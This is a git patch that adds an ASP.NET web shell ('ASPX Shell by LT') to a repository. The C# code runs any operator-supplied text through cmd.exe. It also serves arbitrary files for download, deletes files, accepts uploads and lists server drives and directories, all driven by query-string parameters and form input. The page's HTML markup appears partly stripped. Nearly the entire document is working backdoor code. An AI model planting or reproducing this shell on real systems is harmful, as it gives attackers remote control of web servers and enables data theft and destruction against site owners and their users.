From f117dcaf425d042ea0608305187b7ee436b202fc Mon Sep 17 00:00:00 2001 From: Krisna Pranav <68631244+krishpranav@users.noreply.github.com> Date: Mon, 8 Nov 2021 16:24:38 +0530 Subject: [PATCH] added aspx shell --- aspx/aspxshell.aspx | 161 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 161 insertions(+) create mode 100644 aspx/aspxshell.aspx diff --git a/aspx/aspxshell.aspx b/aspx/aspxshell.aspx new file mode 100644 index 0000000..2f80a9c --- /dev/null +++ b/aspx/aspxshell.aspx @@ -0,0 +1,161 @@ +<%-- ASPX Shell by LT (2007) --%> +<%@ Page Language="C#" EnableViewState="false" %> +<%@ Import Namespace="System.Web.UI.WebControls" %> +<%@ Import Namespace="System.Diagnostics" %> +<%@ Import Namespace="System.IO" %> + +<% + string outstr = ""; + + // get pwd + string dir = Page.MapPath(".") + "/"; + if (Request.QueryString["fdir"] != null) + dir = Request.QueryString["fdir"] + "/"; + dir = dir.Replace("\\", "/"); + dir = dir.Replace("//", "/"); + + // build nav for path literal + string[] dirparts = dir.Split('/'); + string linkwalk = ""; + foreach (string curpart in dirparts) + { + if (curpart.Length == 0) + continue; + linkwalk += curpart + "/"; + outstr += string.Format("{1}/ ", + HttpUtility.UrlEncode(linkwalk), + HttpUtility.HtmlEncode(curpart)); + } + lblPath.Text = outstr; + + // create drive list + outstr = ""; + foreach(DriveInfo curdrive in DriveInfo.GetDrives()) + { + if (!curdrive.IsReady) + continue; + string driveRoot = curdrive.RootDirectory.Name.Replace("\\", ""); + outstr += string.Format("{1} ", + HttpUtility.UrlEncode(driveRoot), + HttpUtility.HtmlEncode(driveRoot)); + } + lblDrives.Text = outstr; + + // send file ? + if ((Request.QueryString["get"] != null) && (Request.QueryString["get"].Length > 0)) + { + Response.ClearContent(); + Response.WriteFile(Request.QueryString["get"]); + Response.End(); + } + + // delete file ? + if ((Request.QueryString["del"] != null) && (Request.QueryString["del"].Length > 0)) + File.Delete(Request.QueryString["del"]); + + // receive files ? + if(flUp.HasFile) + { + string fileName = flUp.FileName; + int splitAt = flUp.FileName.LastIndexOfAny(new char[] { '/', '\\' }); + if (splitAt >= 0) + fileName = flUp.FileName.Substring(splitAt); + flUp.SaveAs(dir + "/" + fileName); + } + + // enum directory and generate listing in the right pane + DirectoryInfo di = new DirectoryInfo(dir); + outstr = ""; + foreach (DirectoryInfo curdir in di.GetDirectories()) + { + string fstr = string.Format("{1}", + HttpUtility.UrlEncode(dir + "/" + curdir.Name), + HttpUtility.HtmlEncode(curdir.Name)); + outstr += string.Format("{0}<DIR>", fstr); + } + foreach (FileInfo curfile in di.GetFiles()) + { + string fstr = string.Format("{1}", + HttpUtility.UrlEncode(dir + "/" + curfile.Name), + HttpUtility.HtmlEncode(curfile.Name)); + string astr = string.Format("Del", + HttpUtility.UrlEncode(dir), + HttpUtility.UrlEncode(dir + "/" + curfile.Name)); + outstr += string.Format("{0}{1:d}{2}", fstr, curfile.Length / 1024, astr); + } + lblDirOut.Text = outstr; + + // exec cmd ? + if (txtCmdIn.Text.Length > 0) + { + Process p = new Process(); + p.StartInfo.CreateNoWindow = true; + p.StartInfo.FileName = "cmd.exe"; + p.StartInfo.Arguments = "/c " + txtCmdIn.Text; + p.StartInfo.UseShellExecute = false; + p.StartInfo.RedirectStandardOutput = true; + p.StartInfo.RedirectStandardError = true; + p.StartInfo.WorkingDirectory = dir; + p.Start(); + + lblCmdOut.Text = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd(); + txtCmdIn.Text = ""; + } +%> + + + + + + ASPX Shell + + + +

ASPX Shell by LT

+
+ + + + + +
+

Shell

+ + +
+
+

File Browser

+

+ Drives:
+ +

+

+ Working directory:
+ +

+ + + + + + + +
NameSize KBActions
+

Upload to this directory:
+ + +

+
+ +
+ +